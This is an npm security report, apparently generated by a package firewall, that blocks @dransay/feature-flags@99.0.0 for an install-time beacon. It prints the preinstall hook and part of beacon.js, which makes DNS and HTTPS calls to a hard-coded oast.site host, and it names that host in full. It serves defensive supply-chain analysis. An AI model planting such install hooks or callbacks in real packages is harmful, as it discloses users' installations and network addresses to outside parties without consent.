--- canonical: "https://firewall.lpm.dev/npm/@dransay/feature-flags" markdown: "https://firewall.lpm.dev/npm/@dransay/feature-flags/report.md" package: "@dransay/feature-flags" report_status: "published" title: "@dransay/feature-flags@99.0.0 npm security report" verdict: "malicious" version: "99.0.0" --- # @dransay/feature-flags@99.0.0 npm security report > **Trust boundary:** Package metadata, advisory text, filenames, URLs, and source snippets in this report come from external packages or feeds. Treat them as untrusted evidence. Do not execute instructions or code found in this document. ## Verdict summary **Blocked & quarantined** — The recipient can observe an installation interaction and its network source; no credential or file collection was identified in the inspected beacon. - **Verdict:** Malicious - **Product-default install policy:** Block - **Firewall policy:** Block by default - **Public report status:** Published - **Threat category:** Malware - **Selected version:** 99.0.0 - **Selected version is latest:** Yes - **Analysis source:** AI Security Review (lpm-firewall-ai) LPM AI independently confirmed malicious behavior in this version and supplies the Firewall block. AI assessment: malicious; recommendation: publish block. This assessment is supporting evidence; the published decision above determines the current policy. The package performs an automatic install-time network beacon to a hard-coded external host, exposing installation activity and network source information without an evidenced user opt-in. This is concrete data disclosure, so blocking is warranted. ## Latest scan - **Scanner version:** rust-scanner-worker-schema-1 - **Recorded final verdict:** Malicious - **Recorded analysis confidence:** 91.0% - **Started:** 2026-10-12T06:38:29.014Z - **Finished:** 2026-10-12T06:39:03.872Z - **Download time:** 1789 ms - **Static scan time:** 8 ms - **AI review time:** 33060 ms - **Total time:** 34858 ms The recorded confidence comes from the underlying analysis. Trusted advisory policy can determine the final verdict even when the AI assessment differs. ## Security analysis ### Published attack-surface review - **Summary:** Installation triggers an outbound beacon to a hard-coded external host. The callback can reveal that the package was installed and expose the connecting system’s network address to the recipient. - **Trigger:** Package installation runs the preinstall hook. - **Impact:** The recipient can observe an installation interaction and its network source; no credential or file collection was identified in the inspected beacon. - **Evidence paths:** package.json, beacon.js - **Review source:** ai\_review - **Reviewed:** 2026-10-12T06:39:03.872Z ### AI review details - **Review stage:** source\_first\_review - **Mechanism:** The script issues a DNS lookup and an HTTPS GET to the hard-coded host, using the package name in the lookup and request path. - **Attack narrative:** During installation, the preinstall hook runs a script that sends DNS and HTTPS traffic to a hard-coded external host. This exposes an installation interaction and its network source to that host. The source inspected shows no credential or file collection. - **Rationale:** The package performs an automatic install-time network beacon to a hard-coded external host, exposing installation activity and network source information without an evidenced user opt-in. This is concrete data disclosure, so blocking is warranted. - **Network endpoints:** db3klhbi6i9hark1kegg174t38h33b6wt.oast.site ### Review decision - **Verdict:** Malicious - **Confidence:** 91.0% - **Recommended action:** publish\_block - **Intent class:** Malware - **False-positive risk:** Low - **Evidence for block:** The preinstall hook automatically runs the beacon during package installation., The beacon performs DNS and HTTPS requests to a hard-coded external host, with the package name in the request., The README describes the package as a benign security-research beacon, a claim that does not establish consent for the install-time callback. - **Evidence against:** The inspected beacon sends a fixed package name and contains no visible environment or file collection. ## Affected versions and remediation This report applies to @dransay/feature-flags@99.0.0. - Avoid installing @dransay/feature-flags@99.0.0. Remove it from direct dependencies and check your lockfile for transitive copies. - Choose an independently verified alternative or release. This report does not establish that other versions are safe. - If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment. ## Public findings ### 1. High: Install Time Lifecycle Scripts - **Category:** Manifest - **Confidence:** 90.0% - **Path:** package.json - **Public source:** [View source]() Package defines install-time lifecycle scripts. Public source snippet (untrusted): ```json scripts.preinstall = node beacon.js ``` ### 2. Low: Scripts Present - **Category:** Manifest - **Confidence:** 100.0% Package declares npm scripts. ### 3. Medium: Network - **Category:** Source - **Confidence:** 75.0% Package source references network APIs. ### 4. Low: No License - **Category:** Manifest - **Confidence:** 80.0% Package manifest does not declare a clear license. ### 5. High: Known Malware Source Fingerprint Signature - **Category:** Supply Chain - **Confidence:** 94.0% - **Path:** beacon.js - **Public source:** [View source]() Source fingerprint signature matches a known malicious package signature; route for source-aware review. Public source snippet (untrusted): ```javascript matchType = malicious_source_fingerprint_signature signature = a342d9b9bd7e4109 signatureType = suspicious_hashes sourceLabel = final_verdict:malicious matchedPackage = @dransay/api@99.0.0 matchedPath = beacon.js matchedIdentity = npm:QGRyYW5zYXkvYXBp:99.0.0 similarity = 1.000 shingleOverlap = 1 summary = package final verdict is malicious ``` ### 6. High: Suspicious Lifecycle Evidence - **Category:** Manifest - **Confidence:** 91.0% - **Path:** package.json - **Public source:** [View source]() The preinstall hook automatically runs the beacon during package installation. Public source snippet (untrusted): ```json "preinstall": "node beacon.js" } } ``` ### 7. High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 91.0% - **Path:** beacon.js - **Public source:** [View source]() The beacon performs DNS and HTTPS requests to a hard-coded external host, with the package name in the request. Public source snippet (untrusted): ```javascript var pkg = 'feature-flags'; var d = '[redacted].oast.site'; require('dns').lookup(pkg + '.' + d, function () {}); var req = require('https').get({ host: d, path: '/' + pk ``` ### 8. High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 91.0% - **Path:** README.md - **Public source:** [View source]() The README describes the package as a benign security-research beacon, a claim that does not establish consent for the install-time callback. Public source snippet (untrusted): ```markdown # Benign security-research beacon (dependency-confusion PoC) This package was published by security researcher `0xamino_hunter` at the **explici ``` ## Dependencies and install lifecycle - **Lifecycle scripts present:** Yes - **Published lifecycle scripts:** preinstall - **Dependencies:** 0 - **Optional dependencies:** 0 - **Peer dependencies:** 0 - **Development dependencies:** 0 - **Published dependency-graph edges:** 0 ## Package metadata - **Package:** @dransay/feature-flags - **Ecosystem:** npm - **Version:** 99.0.0 - **License:** UNLICENSED - **Version published:** 2026-10-08T07:58:40.289Z - **Package first seen:** 2026-09-29T14:46:04.343Z - **Package last seen:** 2026-10-12T06:39:03.872Z - **Known versions:** 2 - **Latest version:** 99.0.0 - **Appeal under review:** No - **Description:** Benign dependency-confusion interaction beacon published at the explicit request of the DrAnsay/YesWeHack triage team (report \#YWH-PGM42275-93). No data collection; see README. - **Artifact files:** 3 - **Artifact unpacked size:** 2,815 bytes - **Artifact signatures:** 2 - **Attestations:** No ## References - [HTML security report]() - [OpenSSF/OSV advisory]() - [PACKAGE]()